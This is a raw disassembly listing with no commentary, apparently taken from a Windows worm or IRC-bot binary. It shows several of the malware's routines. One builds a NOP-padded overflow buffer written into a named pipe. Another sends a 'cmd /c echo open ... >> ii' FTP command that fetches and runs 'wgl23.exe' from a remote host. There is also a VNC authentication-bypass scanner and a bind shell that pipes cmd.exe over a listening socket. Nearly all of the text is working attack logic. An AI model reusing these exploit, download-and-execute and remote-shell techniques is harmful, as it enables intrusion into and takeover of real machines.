[ebp+var_88], 3 call _memcpy add esp, 24h lea eax, [ebp+var_BC] mov [ebp+var_74], 2 push ebx push eax lea eax, [ebp+var_B8] push 48h push eax push [ebp+var_4] call ds:dword_4F63E8 ; WriteFile test eax, eax jnz short loc_40E59B loc_40E58D: ; CODE XREF: sub_40E3FF+268j push [ebp+var_4] call ds:dword_4F6370 ; CloseHandle jmp loc_40E4B7 ; --------------------------------------------------------------------------- loc_40E59B: ; CODE XREF: sub_40E3FF+18Cj lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_60DC] push esi push eax push [ebp+var_4] call ds:dword_4F63F0 ; ReadFile push ebx ; Time call _time push eax ; Seed call _srand push 14h ; Size lea eax, [ebp+Src] push 41h ; Val push eax ; Dst call _memset push 1Ch ; Size lea eax, [ebp+var_30] push 41h ; Val push eax ; Dst call _memset add esp, 20h call _rand mov esi, [ebp+Memory] mov [ebp+Src], eax mov [ebp+var_64], edi mov [ebp+var_68], ebx lea esi, [esi+esi*4] mov [ebp+var_6C], edi shl esi, 2 mov [ebp+var_60], bx cmp byte_44A0F8[esi], bl jz short loc_40E612 push 4 mov [ebp+var_24], edi mov [ebp+var_28], ebx mov [ebp+var_2C], edi push offset dword_4E6F6C jmp short loc_40E625 ; --------------------------------------------------------------------------- loc_40E612: ; CODE XREF: sub_40E3FF+1FFj push 2 mov [ebp+var_28], ebx pop eax push 4 ; Size mov [ebp+var_24], eax mov [ebp+var_2C], eax push offset dword_44A194 ; Src loc_40E625: ; CODE XREF: sub_40E3FF+211j lea eax, [ebp+var_20] push eax ; Dst call _memcpy add esp, 0Ch call _rand mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp+var_30], edx call _rand cdq idiv edi mov eax, dword_44A0EC[esi] mov [ebp+var_18], ebx push eax ; Size mov [ebp+Size], eax inc edx mov [ebp+var_1C], edx call _malloc mov edi, eax pop ecx cmp edi, ebx jz loc_40E58D mov eax, [ebp+Size] add eax, 0FFFFFFFEh push eax ; Size push 90h ; Val push edi ; Dst call _memset mov eax, [ebp+Size] push 2 ; Size push ebx ; Val lea eax, [edi+eax-2] push eax ; Dst call _memset mov eax, dword_44A0F4[esi] push 7 ; Size add eax, edi push offset dword_44A0E0 ; Src push eax ; Dst mov [ebp+Memory], eax call _memcpy mov eax, [ebp+Memory] push 15Ch ; Size add eax, 7 push offset dword_449F80 ; Src push eax ; Dst call _memcpy mov eax, dword_44A0F0[esi] add esp, 30h cmp byte_44A0F8[esi], bl mov [ebp+Memory], eax jz short loc_40E71E push 4 ; Size add eax, edi push offset dword_4E6F5C ; Src push eax ; Dst call _memcpy add [ebp+Memory], 0Ch mov esi, offset dword_44A110 mov eax, [ebp+Memory] push 4 ; Size add eax, edi push esi ; Src push eax ; Dst call _memcpy mov eax, [ebp+Memory] push 4 ; Size push esi ; Src lea eax, [eax+edi+24h] push eax ; Dst mov [ebp+Memory], eax call _memcpy mov eax, [ebp+Memory] push 4 ; Size add eax, 0Ch push esi ; Src push eax ; Dst call _memcpy add esp, 30h jmp short loc_40E746 ; --------------------------------------------------------------------------- loc_40E71E: ; CODE XREF: sub_40E3FF+2D0j add eax, edi mov [ebp+var_8], 10h mov [ebp+Memory], eax mov esi, offset dword_44A110 loc_40E72F: ; CODE XREF: sub_40E3FF+345j push 4 ; Size push esi ; Src push [ebp+Memory] ; Dst call _memcpy add [ebp+Memory], 4 add esp, 0Ch dec [ebp+var_8] jnz short loc_40E72F loc_40E746: ; CODE XREF: sub_40E3FF+31Dj mov eax, [ebp+Size] add eax, 42h push eax ; Size call _malloc mov esi, eax pop ecx cmp esi, ebx mov [ebp+var_8], esi jnz short loc_40E771 push [ebp+var_4] call ds:dword_4F6370 ; CloseHandle push edi ; Memory call _free pop ecx jmp loc_40E4B7 ; --------------------------------------------------------------------------- loc_40E771: ; CODE XREF: sub_40E3FF+35Bj mov eax, [ebp+Size] add eax, 42h push eax ; Size push ebx ; double push esi ; Dst call _memset lea eax, [ebp+Src] push 14h ; Size push eax ; Src push esi ; Dst call _memcpy mov eax, [ebp+Size] mov dword ptr [ebp+var_10+4], ebx mov dword ptr [ebp+var_10], eax add esp, 10h fild [ebp+var_10] fmul ds:flt_43D480 fstp [esp+60F0h+var_60F0] call _ceil call __ftol push [ebp+Size] ; Size mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi ; Src push eax ; Dst call _memcpy mov eax, [ebp+Size] add esp, 14h add eax, 20h test al, 3 mov [ebp+Memory], eax jz short loc_40E7DE loc_40E7D6: ; CODE XREF: sub_40E3FF+3DAj inc eax test al, 3 jnz short loc_40E7D6 mov [ebp+Memory], eax loc_40E7DE: ; CODE XREF: sub_40E3FF+3D5j lea ecx, [ebp+var_30] push 1Ch ; Size add eax, esi push ecx ; Src push eax ; Dst call _memcpy add [ebp+Memory], 1Ch push edi ; Memory call _free push 18h ; Size lea eax, [ebp+var_48] push ebx ; Val push eax ; Dst call _memset push 14h ; Size lea eax, [ebp+var_5C] push ebx ; Val push eax ; Dst mov [ebp+var_48], 5 mov [ebp+var_47], bl mov [ebp+var_46], bl mov [ebp+var_45], 3 mov [ebp+var_44], 10h mov [ebp+var_3E], bx mov [ebp+var_3C], ebx mov [ebp+var_34], bx mov [ebp+var_32], 1Fh call _memset add esp, 28h push ebx push ebx push 1 push ebx call ds:dword_4F63EC ; CreateEventA mov [ebp+var_4C], eax mov byte ptr [ebp+Size+3], bl mov dword ptr [ebp+var_10+4], ebx loc_40E84B: ; CODE XREF: sub_40E3FF+4D6j cmp dword ptr [ebp+var_10+4], 2 jge loc_40E8E0 push 1 ; char push 10B8h ; int push [ebp+Memory] ; Memory inc dword ptr [ebp+var_10+4] push esi ; Src lea esi, [ebp+var_48] sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+var_4] ; int rep movsd call sub_40E311 add esp, 2Ch test al, al jz short loc_40E8DD cmp [ebp+var_4C], ebx jz short loc_40E8CF lea eax, [ebp+var_5C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_60DC] push 2000h push eax push [ebp+var_4] call ds:dword_4F63F0 ; ReadFile test eax, eax jnz short loc_40E8B6 call ds:dword_4F6394 ; RtlGetLastWin32Error cmp eax, 3E5h jnz loc_40E4B7 loc_40E8B6: ; CODE XREF: sub_40E3FF+4A4j push 3E8h push [ebp+var_4C] call ds:dword_4F63A8 ; WaitForSingleObject cmp eax, 102h jnz short loc_40E8CF mov byte ptr [ebp+Size+3], 1 loc_40E8CF: ; CODE XREF: sub_40E3FF+483j ; sub_40E3FF+4CAj cmp byte ptr [ebp+Size+3], bl mov esi, [ebp+var_8] jz loc_40E84B jmp short loc_40E8E0 ; --------------------------------------------------------------------------- loc_40E8DD: ; CODE XREF: sub_40E3FF+47Ej mov esi, [ebp+var_8] loc_40E8E0: ; CODE XREF: sub_40E3FF+450j ; sub_40E3FF+4DCj push [ebp+var_4] mov edi, ds:dword_4F6370 call edi ; CloseHandle push esi ; Memory call _free cmp [ebp+var_4C], ebx pop ecx jz short loc_40E8FC push [ebp+var_4C] call edi ; CloseHandle loc_40E8FC: ; CODE XREF: sub_40E3FF+4F6j cmp byte ptr [ebp+Size+3], bl setnz al loc_40E902: ; CODE XREF: sub_40E3FF+BAj pop edi pop esi pop ebx leave retn sub_40E3FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E907 proc near ; CODE XREF: sub_40E9F5+29p var_5A0 = byte ptr -5A0h Str = byte ptr -1A0h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+Dst], 2 push eax call ds:dword_4F655C ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call ds:dword_4F6560 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_4F6570 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E9D5 lea eax, [ebp+Dst] push 10h push eax push ebx call ds:dword_4F6564 ; connect cmp eax, 0FFFFFFFFh jz short loc_40E9D5 mov edi, 400h push esi mov esi, ds:dword_4F6568 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset Str ; "wgl23.exe" push eax push eax push dword_4E3F28 push [ebp+arg_0] call sub_40AFA9 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+Str] push 190h ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Str] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push ebx call ds:dword_4F6574 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E9D9 loc_40E9D5: ; CODE XREF: sub_40E907+50j ; sub_40E907+62j xor eax, eax jmp short loc_40E9F0 ; --------------------------------------------------------------------------- loc_40E9D9: ; CODE XREF: sub_40E907+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call ds:dword_4F656C ; closesocket push 1 pop eax loc_40E9F0: ; CODE XREF: sub_40E907+D0j pop edi pop esi pop ebx leave retn sub_40E907 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40E9F5(char,char Size) sub_40E9F5 proc near ; DATA XREF: .data:004492CCo ; .data:0044930Co arg_0 = byte ptr 4 Size = byte ptr 8 push ebx push esi push edi xor ebx, ebx loc_40E9FA: ; CODE XREF: sub_40E9F5+4Bj lea eax, [esp+0Ch+Size] push ebx ; Memory push eax ; Size call sub_40E3FF pop ecx test al, al pop ecx jz short loc_40EA2D push 65h lea esi, [esp+10h+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E907 add esp, 0C0h test eax, eax jnz short loc_40EA42 loc_40EA2D: ; CODE XREF: sub_40E9F5+14j test ebx, ebx jnz short loc_40EA3C push 7D0h call ds:dword_4F6380 ; Sleep loc_40EA3C: ; CODE XREF: sub_40E9F5+3Aj inc ebx cmp ebx, 2 jb short loc_40E9FA loc_40EA42: ; CODE XREF: sub_40E9F5+36j push 1 pop eax pop edi pop esi pop ebx retn sub_40E9F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EA49 proc near ; CODE XREF: sub_40EB60+91p var_5A0 = byte ptr -5A0h Dest = byte ptr -1A0h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+Dst], 2 push eax call ds:dword_4F655C ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call ds:dword_4F6560 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_4F6570 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40EB17 lea eax, [ebp+Dst] push 10h push eax push ebx call ds:dword_4F6564 ; connect cmp eax, 0FFFFFFFFh jz short loc_40EB17 mov edi, 400h push esi mov esi, ds:dword_4F6568 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset Str ; "wgl23.exe" push eax push eax push dword_4E3F28 push [ebp+arg_0] call sub_40AFA9 pop ecx push eax push offset aCmdCEchoOpen_1 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+Dest] push 190h ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push ebx call ds:dword_4F6574 ; send cmp eax, 0FFFFFFFFh jnz short loc_40EB1B loc_40EB17: ; CODE XREF: sub_40EA49+50j ; sub_40EA49+62j xor eax, eax jmp short loc_40EB32 ; --------------------------------------------------------------------------- loc_40EB1B: ; CODE XREF: sub_40EA49+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call ds:dword_4F656C ; closesocket push 1 pop eax loc_40EB32: ; CODE XREF: sub_40EA49+D0j pop edi pop esi pop ebx leave retn sub_40EA49 endp ; --------------------------------------------------------------------------- push dword ptr [esp+4] call ds:dword_4F655C ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40EB5F push dword ptr [esp+4] call ds:dword_4F6558 ; gethostbyname test eax, eax jnz short loc_40EB58 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40EB58: ; CODE XREF: .text:0040EB52j mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40EB5F: ; CODE XREF: .text:0040EB44j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB60 proc near ; CODE XREF: sub_40C989+1EAp ; DATA XREF: .data:off_44924Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4E4260 ; inet_addr push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4E4220 ; htons push 6 push 1 push 2 mov [ebp+var_E], ax call ds:dword_4F6570 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EBD2 lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_4F6564 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40EBB3 push esi jmp short loc_40EBCC ; --------------------------------------------------------------------------- loc_40EBB3: ; CODE XREF: sub_40EB60+4Ej push 0 push 1213h push offset dword_44A210 push esi call ds:dword_4F6574 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_40EBD6 loc_40EBCC: ; CODE XREF: sub_40EB60+51j call ds:dword_4F656C ; closesocket loc_40EBD2: ; CODE XREF: sub_40EB60+3Cj xor eax, eax jmp short loc_40EC18 ; --------------------------------------------------------------------------- loc_40EBD6: ; CODE XREF: sub_40EB60+6Aj call ds:dword_4F656C ; closesocket push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40EA49 add esp, 0C0h test eax, eax jz short loc_40EC15 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_449250[eax] lea eax, dword_449250[eax] loc_40EC15: ; CODE XREF: sub_40EB60+9Ej push 1 pop eax loc_40EC18: ; CODE XREF: sub_40EB60+74j pop edi pop esi leave retn sub_40EB60 endp ; =============== S U B R O U T I N E ======================================= sub_40EC1C proc near ; CODE XREF: sub_40EC96+74p ; sub_40EC96+D6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40EC24: ; CODE XREF: sub_40EC1C+2Dj test edi, edi jle short loc_40EC4F mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4E4238 ; recv test eax, eax jz short loc_40EC4B cmp eax, 0FFFFFFFFh jz short loc_40EC4B sub edi, eax add esi, eax jmp short loc_40EC24 ; --------------------------------------------------------------------------- loc_40EC4B: ; CODE XREF: sub_40EC1C+22j ; sub_40EC1C+27j xor eax, eax jmp short loc_40EC52 ; --------------------------------------------------------------------------- loc_40EC4F: ; CODE XREF: sub_40EC1C+Aj push 1 pop eax loc_40EC52: ; CODE XREF: sub_40EC1C+31j pop edi pop esi retn sub_40EC1C endp ; =============== S U B R O U T I N E ======================================= sub_40EC55 proc near ; CODE XREF: sub_40EC96+C0p ; sub_40EC96+EDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EC92 xor esi, esi test edi, edi jle short loc_40EC8C loc_40EC65: ; CODE XREF: sub_40EC55+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4E4270 ; send cmp eax, 0FFFFFFFFh jz short loc_40EC92 test eax, eax jz short loc_40EC92 add esi, eax cmp esi, edi jl short loc_40EC65 loc_40EC8C: ; CODE XREF: sub_40EC55+Ej push 1 pop eax loc_40EC8F: ; CODE XREF: sub_40EC55+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EC92: ; CODE XREF: sub_40EC55+8j ; sub_40EC55+2Bj ... xor eax, eax jmp short loc_40EC8F sub_40EC55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40EC96(int,char,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_40EC96 proc near ; DATA XREF: .data:0044928Co Dest = byte ptr -24Ch var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_3C = byte ptr -3Ch Src = byte ptr -38h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_14 = word ptr -14h var_12 = word ptr -12h var_10 = word ptr -10h var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch Str = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_44B498 push esi push edi push 0 push 1 push 2 mov [ebp+var_2], ax pop edi push edi call dword_4E42A0 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40ECC4 push eax jmp short loc_40ECF8 ; --------------------------------------------------------------------------- loc_40ECC4: ; CODE XREF: sub_40EC96+29j lea eax, [ebp+arg_4] push eax call dword_4E4260 ; inet_addr push [ebp+arg_A0] mov [ebp+var_48], eax mov [ebp+var_4C], di call dword_4E4220 ; htons mov [ebp+var_4A], ax lea eax, [ebp+var_4C] push 10h push eax push esi call dword_4E41C8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40ED03 push esi loc_40ECF8: ; CODE XREF: sub_40EC96+2Cj call dword_4E42B8 ; closesocket jmp loc_40EEF4 ; --------------------------------------------------------------------------- loc_40ED03: ; CODE XREF: sub_40EC96+5Fj lea eax, [ebp+Src] push 0Ch push eax push esi call sub_40EC1C add esp, 0Ch test eax, eax jz loc_40EEED lea eax, [ebp+var_20] and [ebp+var_2C], 0 push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+Src] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax ; Src call _sscanf add esp, 10h cmp eax, edi jnz loc_40EEED cmp [ebp+var_28], 3 jz short loc_40ED4F cmp [ebp+var_20], 8 jnz loc_40EEED loc_40ED4F: ; CODE XREF: sub_40EC96+ADj lea eax, [ebp+Src] push 0Ch push eax push esi call sub_40EC55 add esp, 0Ch test eax, eax jz loc_40EEED lea eax, [ebp+var_3C] push edi push eax push esi call sub_40EC1C add esp, 0Ch test eax, eax jz loc_40EEED lea eax, [ebp+var_2] push 1 push eax push esi call sub_40EC55 add esp, 0Ch test eax, eax jz loc_40EEED lea eax, [ebp+var_24] push 4 push eax push esi call sub_40EC1C add esp, 0Ch test eax, eax jz loc_40EEED mov eax, [ebp+var_24] mov ebx, 0FF0000h mov ecx, eax mov edx, eax and ecx, ebx mov edi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, edi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp+var_24], ecx jnz loc_40EEED push 1 push offset dword_4E6F78 push esi call sub_40EC55 add esp, 0Ch test eax, eax jz loc_40EEED lea eax, [ebp+var_1C] push 18h push eax push esi call sub_40EC1C add esp, 0Ch test eax, eax jz loc_40EEED xor eax, eax mov ecx, [ebp+var_8] mov al, byte ptr [ebp+var_1C+1] mov edx, ecx mov ah, byte ptr [ebp+var_1C] mov [ebp+var_1C], ax xor eax, eax mov al, byte ptr [ebp+var_1A+1] mov ah, byte ptr [ebp+var_1A] mov [ebp+var_1A], ax xor eax, eax mov al, byte ptr [ebp+var_14+1] mov ah, byte ptr [ebp+var_14] mov [ebp+var_14], ax xor eax, eax mov al, byte ptr [ebp+var_12+1] mov ah, byte ptr [ebp+var_12] mov [ebp+var_12], ax xor eax, eax mov al, byte ptr [ebp+var_10+1] mov ah, byte ptr [ebp+var_10] mov [ebp+var_10], ax mov eax, ecx and eax, ebx shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, edi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp+var_8], eax add eax, 2 push eax ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) push [ebp+var_8] mov edi, eax push edi push esi call sub_40EEFB add esp, 10h lea eax, [ebp+arg_4] push eax push edi push [ebp+var_20] lea eax, [ebp+Dest] push [ebp+var_28] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h ; Count push eax ; Dest call __snprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_B0] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+arg_0] ; int call sub_409D6C lea eax, [ebp+Dest] push eax call sub_415C77 mov eax, [ebp+arg_A8] add esp, 34h shl eax, 6 inc dword_449250[eax] push esi lea eax, dword_449250[eax] call ds:dword_4F656C ; closesocket push 1 pop eax jmp short loc_40EEF6 ; --------------------------------------------------------------------------- loc_40EEED: ; CODE XREF: sub_40EC96+7Ej ; sub_40EC96+A3j ... push esi call ds:dword_4F656C ; closesocket loc_40EEF4: ; CODE XREF: sub_40EC96+68j xor eax, eax loc_40EEF6: ; CODE XREF: sub_40EC96+255j pop edi pop esi pop ebx leave retn sub_40EC96 endp ; =============== S U B R O U T I N E ======================================= sub_40EEFB proc near ; CODE XREF: sub_40EC96+1E3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] test esi, esi jle short loc_40EF17 push esi push edi push [esp+10h+arg_0] call sub_40EC1C add esp, 0Ch loc_40EF17: ; CODE XREF: sub_40EEFB+Cj and byte ptr [edi+esi], 0 pop edi pop esi retn sub_40EEFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EF1E proc near ; DATA XREF: sub_40EFAC+15Bo var_404 = byte ptr -404h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40EF27: ; CODE XREF: sub_40EF1E+25j ; sub_40EF1E+41j push 0 lea eax, [ebp+var_404] push 400h push eax push dword_4E6F8C call dword_4E4238 ; recv test eax, eax jle short loc_40EF27 lea ecx, [ebp+var_4] push 0 push ecx push eax lea eax, [ebp+var_404] push eax push dword_4E6F88 call ds:dword_4F63E8 ; WriteFile jmp short loc_40EF27 sub_40EF1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EF61 proc near ; DATA XREF: sub_40EFAC+142o var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40EF6A: ; CODE XREF: sub_40EF61+2Fj ; sub_40EF61+49j lea eax, [ebp+var_4] and [ebp+var_4], 0 push 0 push eax lea eax, [ebp+var_404] push 400h push eax push dword_4E6F7C call ds:dword_4F63F0 ; ReadFile cmp [ebp+var_4], 0 jle short loc_40EF6A push 0 lea eax, [ebp+var_404] push [ebp+var_4] push eax push dword_4E6F8C call dword_4E4270 ; send jmp short loc_40EF6A sub_40EF61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40EFAC proc near ; DATA XREF: sub_401CC7+2D16o var_11C = byte ptr -11Ch var_98 = dword ptr -98h var_7C = dword ptr -7Ch var_50 = dword ptr -50h var_4C = word ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch Dst = word ptr -38h var_36 = word ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 28h mov esi, eax pop ecx lea edi, [ebp+var_11C] rep movsd push 1 xor edi, edi pop esi mov [eax+98h], esi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_98] call dword_4E4220 ; htons push 6 push esi push 2 mov [ebp+var_36], ax call dword_4E42A0 ; socket mov [ebp+arg_0], eax lea eax, [ebp+Dst] push 10h push eax push [ebp+arg_0] call dword_4E424C ; bind push 5 push [ebp+arg_0] call dword_4E4248 ; listen mov ebx, ds:dword_4F6404 mov esi, ds:dword_4F6370 loc_40F02C: ; CODE XREF: sub_40EFAC+1CBj push edi push edi push [ebp+arg_0] call dword_4E42B4 ; accept mov dword_4E6F8C, eax lea eax, [ebp+var_C] push edi push eax push offset dword_4E6F88 push offset dword_4E6F84 mov [ebp+var_C], 0Ch mov [ebp+var_4], 1 mov [ebp+var_8], edi call ebx ; CreatePipe lea eax, [ebp+var_C] push edi push eax push offset dword_4E6F80 push offset dword_4E6F7C call ebx ; CreatePipe push 44h ; Size lea eax, [ebp+var_7C] push edi ; Val push eax ; Dst call _memset mov eax, dword_4E6F84 add esp, 0Ch mov [ebp+var_44], eax mov eax, dword_4E6F80 mov [ebp+var_40], eax push edi push 1 lea eax, [ebp+var_3C] push 2 push eax mov [ebp+var_7C], 44h mov [ebp+var_50], 101h mov [ebp+var_4C], di call ds:dword_4F6400 ; GetCurrentProcess push eax push dword_4E6F80 call ds:dword_4F6400 ; GetCurrentProcess push eax call ds:dword_4F63FC ; DuplicateHandle lea eax, [ebp+var_28] push eax lea eax, [ebp+var_7C] push eax push edi push edi push 4000090h lea eax, [ebp+var_C] push 1 push eax lea eax, [ebp+var_C] push eax push offset aCmd_exe ; "cmd.exe" push edi call ds:dword_4F6374 ; CreateProcessA lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40EF61 lea eax, [ebp+var_C] push edi push eax call ds:dword_4F6384 ; CreateThread mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40EF1E lea eax, [ebp+var_C] push edi push eax call ds:dword_4F6384 ; CreateThread push 0FFFFFFFFh mov [ebp+var_10], eax push [ebp+var_28] call ds:dword_4F63A8 ; WaitForSingleObject push edi push [ebp+var_10] call ds:dword_4F63B4 ; TerminateThread push edi push [ebp+var_14] call ds:dword_4F63B4 ; TerminateThread push [ebp+var_10] call esi ; CloseHandle push [ebp+var_14] call esi ; CloseHandle push edi push [ebp+var_28] call ds:dword_4F63F8 ; TerminateProcess push dword_4E6F84 call esi ; CloseHandle push dword_4E6F88 call esi ; CloseHandle push dword_4E6F7C call esi ; CloseHandle push dword_4E6F80 call esi ; CloseHandle push [ebp+var_24] call esi ; CloseHandle push [ebp+var_28] call esi ; CloseHandle jmp loc_40F02C sub_40EFAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40F17C proc near ; DATA XREF: .data:00440010o jmp $+5 sub_40F17C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F181 proc near push 0FFFEh push 400h call sub_419589 pop ecx mov dword_4E6F94, eax pop ecx retn sub_40F181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F198 proc near ; DATA XREF: sub_40C165+34Do Dest = byte ptr -6C0h var_2C0 = dword ptr -2C0h var_C0 = byte ptr -0C0h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A4 = dword ptr -0A4h Str = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 6C0h mov eax, [ebp+arg_0] push ebx push esi push edi push 27h mov esi, eax pop ecx lea edi, [ebp+var_B0] rep movsd push 1 xor ebx, ebx pop esi mov [eax+98h], esi push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_A4] call dword_4E4220 ; htons push ebx push esi push 2 mov [ebp+var_12], ax mov [ebp+var_10], ebx call dword_4E42A0 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jnz short loc_40F23F cmp [ebp+var_1C], ebx jnz short loc_40F21F push ebx ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409D6C add esp, 14h loc_40F21F: ; CODE XREF: sub_40F198+65j lea eax, [ebp+var_2C0] push eax call sub_415C77 push [ebp+var_AC] call sub_40BAAA pop ecx pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_40F23F: ; CODE XREF: sub_40F198+60j mov eax, [ebp+var_AC] push 10h imul eax, 234h mov dword_457134[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4E424C ; bind cmp eax, esi mov ebx, 400h jnz loc_40F33A call dword_4E41B4 ; 